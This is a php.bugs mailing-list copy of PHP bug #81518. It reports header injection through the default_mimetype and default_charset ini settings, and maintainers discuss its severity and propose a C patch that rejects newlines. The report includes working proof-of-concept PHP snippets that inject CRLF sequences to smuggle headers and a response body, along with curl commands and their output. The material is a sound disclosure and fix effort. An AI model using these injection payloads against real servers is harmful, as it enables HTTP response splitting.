Sec Bug->Bug #81518 [Asn]: PHP header injection via default_mimetype / default_charset ini settings

From: Date: Mon, 11 Oct 2021 17:41:54 +0000
Subject: Sec Bug->Bug #81518 [Asn]: PHP header injection via default_mimetype / default_charset ini settings
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-237149@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=81518&edit=1 ID: 81518 Updated by: stas@php.net Reported by: hanskrentel at yahoo dot de Summary: PHP header injection via default_mimetype / default_charset ini settings Status: Assigned -Type: Security +Type: Bug Package: PHP options/info functions Operating System: Linux PHP Version: 8.0.11 -Assigned To: stas +Assigned To: cmb Block user comment: N Private report: Y New Comment: I don't see how it is a security issue - if you have untrusted input in your INI settings, you may have much bigger problems than header injection. That said, sanitizing the default probably won't hurt, but I don't think it's a security issue in any form. Previous Comments: ------------------------------------------------------------------------ [2021-10-11 14:44:15] cmb@php.net I can confirm this issue; for (F)CGI as well. However, it doesn't look like a security issue to me, since an exploit would require to set these INI settings to improperly validated/sanitized user input (or another already existing RCE vulnerability). Stas, what do you think? Anyhow, a quick-fix for the default_charset case could be something like: main/main.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/main/main.c b/main/main.c index 533417a569..5438d7757d 100644 --- a/main/main.c +++ b/main/main.c @@ -614,6 +614,12 @@ PHPAPI void (*php_internal_encoding_changed)(void) = NULL; */ static PHP_INI_MH(OnUpdateDefaultCharset) { + char *s = ZSTR_VAL(new_value), *e = s + ZSTR_LEN(new_value); + while (--e >= s) { + if (*e == '\r' || *e == '\n') { + return FAILURE; + } + } OnUpdateString(entry, new_value, mh_arg1, mh_arg2, mh_arg3, stage); if (php_internal_encoding_changed) { php_internal_encoding_changed(); ------------------------------------------------------------------------ [2021-10-10 20:35:36] hanskrentel at yahoo dot de Description: ------------ By crafting a specifically default_mimetype ini setting, it is possible to circumvent header() injection protection and smuggle lines into the response. Code Example: <?php ini_set("default_mimetype", "text/html;charset=UTF-8\r\nContent-Length: 31\r\n\r\n" . "Lets smuggle a HTTP response.\r\n"); phpinfo(); ?> Response: ~~~ $ curl --no-progress-meter -i 'http://[::1]:8011' HTTP/1.1 200 OK Host: [::1]:8011 Date: Sun, 10 Oct 2021 17:01:05 GMT Connection: close X-Powered-By: PHP/8.1.0RC2 Content-type: text/html;charset=UTF-8 Content-Length: 31 Lets smuggle a HTTP response. ~~~ Setting the Content-Type header later again from php userland would override it, which can be protected by sending headers with ob_flush() or perhaps flush(). Similar injection is possible with default_charset, with differences in the semantics: <?php ini_set('default_charset', 'UTF-8' . "\r\nHeader-Injection: Works!"); header('Content-Type: text/'); // trigger header injection ob_flush(); // trigger sending headers ini_set('default_charset', 'UTF-8'); // restore default_charset as otherwise // htmlspecialchars() etc. give warning ?> Ran over this while fiddling with the built-in developmenet server, can imagine other SAPIs are affected as well and therefore considered to report it. But I have not looked if it is SAPI specific. To reproduce with the built-in webserver: 1. Start with a temporary router script that has the payload, e.g. in zsh: ~~~ $ php8.1 -S '[::1]:8011' =(<<<'<?php ini_set("default_mimetyp".($_GET["a"]??""), "text/html;charset=UTF-8\r\nContent-Length: 31\r\n\r\n" . "Lets smuggle a HTTP response.\r\n"); phpinfo();') [Sun Oct 10 18:56:30 2021] PHP 8.1.0RC2 Development Server (http://[::1]:8011) started ~~~ 2. in a different terminal request (with triggering the payload): ~~~ $ curl --no-progress-meter -i 'http://[::1]:8011?a=e' HTTP/1.1 200 OK Host: [::1]:8011 Date: Sun, 10 Oct 2021 17:09:24 GMT Connection: close X-Powered-By: PHP/8.1.0RC2 Content-type: text/html;charset=UTF-8 Content-Length: 31 Lets smuggle a HTTP response. ~~~ Normally a header() call prevents such injections as no new-lines are allowed: <?php header("Foo: Bar\r\nHeader-Injection: Works not."); // Warning: Header may not contain more than a single header, new line detected ?> Using the Content-Type header together with the ini-settings allows to circumvent that. It is also possible to inject new lines with a php.ini file: ~~~ $ php8.0 -S '[::1]:8011' -c =(<<<$'default_mimetype="text/plainer\r\n on the run"') =(<<<'') [Sun Oct 10 20:35:15 2021] PHP 8.0.11 Development Server (http://[::1]:8011) started ... ~~~ ~~~ $ curl --no-progress-meter -i 'http://[::1]:8011' HTTP/1.1 200 OK Host: [::1]:8011 Date: Sun, 10 Oct 2021 18:36:06 GMT Connection: close X-Powered-By: PHP/8.0.11 Content-type: text/plainer on the run; charset=UTF-8 ~~~ To prevent header injection, the ini settings default_mimetype and default_charset must not contain new lines. Similiar to how the header() function rejects new lines, these two ini settings need too, as well, to prevent header injection, as their values are put into the Content-Type header. ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=81518&edit=1

« previous php.bugs (#237149) next »